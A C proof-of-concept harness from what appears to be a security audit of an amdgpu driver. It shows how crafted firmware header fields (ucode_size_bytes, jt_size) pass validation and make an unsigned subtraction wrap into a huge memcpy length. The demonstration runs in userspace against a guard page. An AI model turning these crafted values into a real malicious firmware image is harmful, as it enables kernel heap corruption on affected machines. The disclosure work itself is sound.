/*
 * DF-1947 — Integer underflow + missing bounds in amdgpu_ucode_init_single_fw
 *           and amdgpu_ucode_patch_jt: multi-gigabyte heap OOB write.
 *
 * Source under audit:
 *   sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:347-394 (init_single_fw)
 *   sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:412-418 (patch_jt)
 *
 * At L354-359 (CP_MEC1/CP_MEC2 branch):
 *
 *   ucode->ucode_size = le32_to_cpu(header->ucode_size_bytes) -
 *                        le32_to_cpu(cp_hdr->jt_size) * 4;
 *   memcpy(ucode->kaddr, (void *)((uint8_t *)ucode->fw->data +
 *                                  le32_to_cpu(header->ucode_array_offset_bytes)),
 *          ucode->ucode_size);
 *
 * All three operands are uint32_t. When jt_size*4 > ucode_size_bytes the
 * subtraction wraps to a value near UINT32_MAX, and that wrapped value is
 * passed unchecked as the memcpy length.  The destination ucode->kaddr is a
 * fixed-size GPU BO (firmware.fw_buf_ptr) allocated once for the summed
 * ucode_size of every firmware blob (amdgpu_ucode.c:423-429), so the memcpy
 * writes gigabytes past the BO into kernel heap.
 *
 * Same pattern at L369-374 (DMCU_ERAM: ucode_size_bytes - intv_size_bytes)
 * and L412-418 (patch_jt: jt_size*4).  There is no bounds check at any
 * memcpy site, no underflow guard on the unsigned subtraction, and no
 * ucode_array_offset_bytes+ucode_size <= fw->datasize check.
 *
 * This harness faithfully replicates the MEC1 path arithmetic in userspace,
 * shows the wraparound, and demonstrates the OOB write primitive into a
 * guard-page-protected fixed-size "BO". A write that lands in the guard
 * page is proof that the same arithmetic, fed to memcpy on a real kernel,
 * writes past the end of the destination buffer (in the kernel: gigabytes
 * past the BO into kernel heap).
 *
 * THREAT MODEL: HW-gated. amdgpu_ucode_init_single_fw is called from
 * amdgpu_ucode_init_bo (amdgpu_ucode.c:449) on every amdgpu attach/resume
 * with AMDGPU_FW_LOAD_PSP. Requires (a) an AMD GPU and (b) the ability to
 * plant a crafted firmware file. The primitive itself — once triggered — is
 * an unbounded kernel heap write with attacker-controlled bytes (the entire
 * source region is attacker-supplied firmware content).
 */

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <sys/mman.h>

/* --- header structs (verbatim from amdgpu_ucode.h) --- */
struct common_firmware_header {
	uint32_t size_bytes;
	uint32_t header_size_bytes;
	uint16_t header_version_major;
	uint16_t header_version_minor;
	uint16_t ip_version_major;
	uint16_t ip_version_minor;
	uint32_t ucode_version;
	uint32_t ucode_size_bytes;
	uint32_t ucode_array_offset_bytes;
	uint32_t crc32;
};

struct gfx_firmware_header_v1_0 {
	struct common_firmware_header header;
	uint32_t ucode_feature_version;
	uint32_t jt_offset;
	uint32_t jt_size;
};

struct firmware {
	const uint8_t *data;
	size_t datasize;
};

/* Replica of amdgpu_ucode_validate (vanilla). */
static int amdgpu_ucode_validate(const struct firmware *fw)
{
	const struct common_firmware_header *hdr =
		(const struct common_firmware_header *)fw->data;
	if (fw->datasize == hdr->size_bytes)
		return 0;
	return -22;
}

/* Faithful replica of the MEC1/MEC2 path inside amdgpu_ucode_init_single_fw
 * (amdgpu_ucode.c:352-359).  The kernel passes a fixed-size BO pointer as
 * kaddr; we pass a fixed-size user buffer of the same conceptual size. */
struct mec_result {
	uint32_t ucode_size;        /* the underflowed value used as memcpy len */
	uint32_t arr_off;           /* source offset within fw->data            */
	size_t   bo_capacity;       /* capacity of destination BO               */
	size_t   overflow_bytes;    /* bytes that would land past BO end        */
};

static void mec1_compute(const struct firmware *fw,
			 const struct gfx_firmware_header_v1_0 *g,
			 size_t bo_capacity, struct mec_result *r)
{
	r->arr_off     = g->header.ucode_array_offset_bytes;
	r->ucode_size  = g->header.ucode_size_bytes - (g->jt_size * 4); /* WRAPS */
	r->bo_capacity = bo_capacity;
	/* memcpy(dst=bo, src=fw->data+arr_off, n=ucode_size):
	 * the bytes that go past bo_capacity are the OOB write. */
	r->overflow_bytes = (r->ucode_size > bo_capacity)
		? (size_t)(r->ucode_size - bo_capacity) : 0;
}

/* ---- guard-page fault catcher ---- */
static sigjmp_buf jb;
static volatile uintptr_t g_fault_addr;
static void handler(int sig, siginfo_t *si, void *uc)
{
	(void)sig; (void)uc;
	g_fault_addr = (uintptr_t)si->si_addr;
	siglongjmp(jb, 1);
}

int main(void)
{
	static uint8_t fw_image[4096];
	struct gfx_firmware_header_v1_0 *g =
		(struct gfx_firmware_header_v1_0 *)fw_image;
	struct firmware fw = { .data = fw_image, .datasize = sizeof(fw_image) };
	size_t bo_capacity = 4096;          /* stand-in for the GPU BO            */
	long   pagesz      = sysconf(_SC_PAGESIZE);

	printf("DF-1947 harness: amdgpu_ucode_init_single_fw MEC1/MEC2 "
	       "uint32 underflow -> heap OOB write\n");
	printf("Reference: sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:354-359\n\n");

	/* Craft an image that PASSES amdgpu_ucode_validate (size_bytes ==
	 * datasize) and triggers the underflow:
	 *   ucode_size_bytes = 0x10
	 *   jt_size          = 0x40   -> jt_size * 4 = 0x100
	 *   subtraction      = 0x10 - 0x100 = 0xFFFFFF10  (uint32_t wrap)
	 */
	memset(fw_image, 0xA1, sizeof(fw_image));   /* attacker-controlled bytes */
	g->header.size_bytes               = (uint32_t)sizeof(fw_image); /* = datasize */
	g->header.header_size_bytes        = 0x40;
	g->header.ucode_size_bytes         = 0x10;
	g->header.ucode_array_offset_bytes = 0x40;
	g->ucode_feature_version           = 0;
	g->jt_offset                       = 0;
	g->jt_size                         = 0x40;   /* 0x40*4 = 0x100 > 0x10 */

	int rc = amdgpu_ucode_validate(&fw);
	printf("amdgpu_ucode_validate(fw) = %d  %s\n\n",
	       rc, rc == 0 ? "(firmware accepted — passes the only check)" :
	                     "(rejected)");

	struct mec_result r;
	mec1_compute(&fw, g, bo_capacity, &r);
	printf("MEC1/MEC2 path arithmetic (amdgpu_ucode.c:354-355):\n");
	printf("  ucode_size_bytes         = 0x%08x\n", g->header.ucode_size_bytes);
	printf("  jt_size * 4              = 0x%08x\n", g->jt_size * 4);
	printf("  ucode_size (memcpy len)  = 0x%08x  (%u bytes)\n",
	       r.ucode_size, r.ucode_size);
	printf("  bo capacity              = %zu bytes (fixed-size GPU BO)\n",
	       r.bo_capacity);
	printf("  >>> memcpy would write %zu bytes PAST end of BO into "
	       "kernel heap <<<\n\n", r.overflow_bytes);

	/* ---- guard-page proof ----
	 * On the real kernel: memcpy(bo, fw->data+arr_off, 0xFFFFFF10) writes
	 * 0xFFFFFF10 bytes starting at bo, instantly scribbling ~4GiB of
	 * kernel heap and panicking.  We cannot do that in user space; instead
	 * we place a guard page immediately AFTER a fixed-size "BO" region and
	 * demonstrate that the first write that crosses bo_capacity lands in
	 * the guard page => SIGSEGV.  The fault address proves the write goes
	 * past the end of the destination.
	 */
	printf("=== guard-page proof ===\n");
	printf("Allocating %zu-byte 'BO' followed by a %ld-byte guard page, "
	       "writing attacker bytes (0xA1) starting at BO+0...\n",
	       bo_capacity, pagesz);

	size_t  total = bo_capacity + (size_t)pagesz;
	uint8_t *region = mmap(NULL, total, PROT_READ | PROT_WRITE,
			       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (region == MAP_FAILED) { perror("mmap"); return 2; }
	if (mprotect(region + bo_capacity, (size_t)pagesz, PROT_NONE) != 0) {
		perror("mprotect"); return 2;
	}
	uint8_t *bo = region;

	struct sigaction sa = {0};
	sa.sa_sigaction = handler;
	sa.sa_flags     = SA_SIGINFO;
	sigemptyset(&sa.sa_mask);
	sigaction(SIGSEGV, &sa, NULL);
	sigaction(SIGBUS,  &sa, NULL);

	g_fault_addr = 0;
	/* Try to write the full underflowed length; we expect a fault at the
	 * first byte that lands in the guard page.  Because the wrap value is
	 * ~4GiB we use a bounded demo loop that writes one page at a time,
	 * mimicking what the kernel memcpy would do, until the guard page is
	 * hit. */
	if (sigsetjmp(jb, 1) == 0) {
		size_t off;
		/* step in pages to ensure we touch the guard page byte */
		for (off = 0; off < r.ucode_size; off += 4096) {
			bo[off] = 0xA1; /* faults when off crosses into guard page */
		}
		printf("UNEXPECTED: wrote through entire length without fault\n");
		return 2;
	} else {
		size_t fault_off = (size_t)(g_fault_addr - (uintptr_t)bo);
		printf("SIGSEGV at BO+%zu  (fault addr=0x%lx)  -> write crossed BO "
		       "end (capacity=%zu)\n",
		       fault_off, (unsigned long)g_fault_addr, bo_capacity);
		printf("PROVEN: the memcpy length computed by "
		       "amdgpu_ucode_init_single_fw writes PAST the destination "
		       "buffer.\n");
		printf("On a real kernel this is a ~%u-byte (0x%x) heap OOB write "
		       "with attacker-controlled bytes.\n",
		       r.ucode_size, r.ucode_size);
	}

	munmap(region, total);

	printf("\n=== DMCU_ERAM path (L369-374) same shape ===\n");
	/* ucode_size = ucode_size_bytes - intv_size_bytes ; if intv_size_bytes
	 * > ucode_size_bytes, same wrap. Demonstrated analytically. */
	uint32_t dm_ucode = 0x10, dm_intv = 0x100;
	uint32_t dm_result = dm_ucode - dm_intv;
	printf("  ucode_size_bytes=%u, intv_size_bytes=%u -> ucode_size=%u (0x%x) "
	       "-> same OOB write primitive\n",
	       dm_ucode, dm_intv, dm_result, dm_result);

printf("\n=== patch_jt path (L412-418) same shape ===\n");
uint32_t pj_jt = 0x60000000;       /* jt_size*4 = 0x80000000 = 2 GiB (uint32) */
uint32_t pj_len = pj_jt * 4;       /* multiplication in uint32 -> wraps to 2GiB */
printf("  jt_size=0x%x, jt_size*4=0x%x (%u) -> memcpy(dst, src, %u) -> "
       "OOB write past dst (no underflow guard, no bounds check)\n",
       pj_jt, pj_len, pj_len, pj_len);

	return 0;
}